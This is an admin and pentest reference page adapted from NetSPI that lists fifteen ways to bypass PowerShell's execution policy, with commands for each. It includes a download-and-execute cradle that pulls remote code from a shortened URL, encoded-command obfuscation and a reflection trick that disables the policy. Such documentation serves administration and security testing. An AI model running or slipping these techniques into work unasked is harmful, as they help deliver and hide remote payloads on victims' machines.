

15 Ways to Bypass the PowerShell Execution Policy

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Source: [NetSPI](#)

▣▣ What is the PowerShell Execution Policy?

The execution policy determines what type of PowerShell scripts (if any) can run. By default, it's set to `Restricted`, which blocks all scripts. It's meant to prevent accidental execution, not as a true security control — which is why it's easy to bypass.

▣▣ Why Bypass It?

- PowerShell is native to Windows
- Maintenance of a Server Requiring .PS1 scripts created by another organization.
- Can interact with the Windows API
- Can run in memory (no disk writes)
- Often trusted by whitelisting tools
- Used in many open-source pentest frameworks

▣▣ View Current Execution Policy

```
Get-ExecutionPolicy
Get-ExecutionPolicy -List | Format-Table -AutoSize
```

☐☐ Test Script Example

```
Write-Host "My voice is my passport, verify me."
```

☐☐ 15 Ways to Bypass Execution Policy

1. Paste in Interactive Console

Directly run the script in PowerShell. No config changes or file writes.

2. Echo to PowerShell

```
echo Write-Host "My voice is my passport" | powershell -nopprofile -
```

3. Pipe File via Type/Get-Content

```
Get-Content .\runme.ps1 | powershell -nopprofile -
```

```
type .\runme.ps1 | powershell -nopprofile -
```

4. Download + Invoke-Expression

```
powershell -nop -c "iex(New-Object  
Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"
```

5. Use -Command Switch

```
powershell -command "Write-Host 'Hello'"
```

6. Use -EncodedCommand

```
$cmd = "Write-Host 'Hello'"  
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)  
[Convert]::ToBase64String($bytes)
```

Then run with:

```
powershell -EncodedCommand <base64>
```

7. Invoke-Command

```
Invoke-Command -ScriptBlock {Write-Host "Hello"}
```

Can also pull policy from a remote host:

```
Invoke-Command -ComputerName server -ScriptBlock {Get-  
ExecutionPolicy} | Set-ExecutionPolicy -Force
```

8. Invoke-Expression (iex)

```
Get-Content .\runme.ps1 | Invoke-Expression
```

or

```
gc .\runme.ps1 | iex
```

9. Use -ExecutionPolicy Bypass

```
powershell -ExecutionPolicy Bypass -File .\runme.ps1
```

10. Use -ExecutionPolicy Unrestricted

```
powershell -ExecutionPolicy UnRestricted -File .\runme.ps1
```

11. Use -ExecutionPolicy RemoteSigned

```
powershell -ExecutionPolicy RemoteSigned -File .\runme.ps1
```

12. Swap AuthorizationManager (Temporary)

```
function Disable-ExecutionPolicy {  
    ($ctx =  
$executioncontext.gettype().getfield("_context","nonpublic,instance")  
.getvalue(  
  
$executioncontext)).gettype().getfield("_authorizationManager","nonpu  
blic,instance").setvalue(  
    $ctx, (New-Object System.Management.Automation.AuthorizationManager  
"Microsoft.PowerShell"))  
}  
Disable-ExecutionPolicy
```

13. Set Policy for Process

```
Set-ExecutionPolicy Bypass -Scope Process
```

Only for this session.

14. Set Policy for Current User

```
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
```

15. Edit Registry for Current User

Modify:

```
HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
```

Add/modify string value `ExecutionPolicy = Unrestricted`

□ Wrap Up

PowerShell's execution policy is a soft restriction — not a security boundary. Microsoft even provides native ways to bypass it. Use these techniques for legitimate automation, testing, and administration.

Adapted from NetSPI — [original blog post](#)

Revision #9

Created 2025-05-28 16:21:47 UTC by joliveira

Updated 2025-05-28 16:33:38 UTC by joliveira